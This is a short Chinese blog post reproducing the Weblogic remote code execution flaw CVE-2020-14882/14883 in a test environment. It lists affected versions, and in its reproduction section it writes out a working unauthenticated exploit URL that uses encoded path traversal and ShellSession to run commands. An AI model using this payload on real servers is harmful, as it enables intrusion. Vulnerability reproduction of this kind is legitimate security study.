1. 程式人生 > 實用技巧 >CVE-2020-14882​&14883:Weblogic RCE復現

CVE-2020-14882​&14883:Weblogic RCE復現

0x01 簡介

Weblogic是美國Oracle公司出品的一個Application Server,確切的說是一個基於JavaEE架構的中介軟體,Weblogic是用於開發、整合、部署和管理大型分散式Web應用、網路應用和資料庫應用的Java應用伺服器。

0x02 漏洞描述

未經身份驗證的遠端攻擊者可能通過構造特殊的GET請求,利用該漏洞在受影響的 Weblogic Server上執行任意程式碼。

影響版本

  • weblogic 10.3.6.0.0
  • weblogic 12.1.3.0.0
  • weblogic 12.2.1.3.0
  • weblogic 12.2.1.4.0
  • weblogic 14.1.1.0.0

0x03 環境搭建

請參考https://www.cnblogs.com/KHZ521/p/14053395.html

0x04 漏洞復現

POC:

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27執行的命令%27);%22);

1.檢視伺服器weblogic的版本 (這裡用的是CVE-2020-14645weblogic漏洞探測工具)

2.隨便請求並抓包

3.使用poc進行測試

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc%27);%22);


4.復現成功

0x05 結束語

這個地方有點小問題,測試poc的時候相應包的響應結果很慢,並且伺服器端打開了十幾個視窗,我也不知道是為啥,反正復現成功了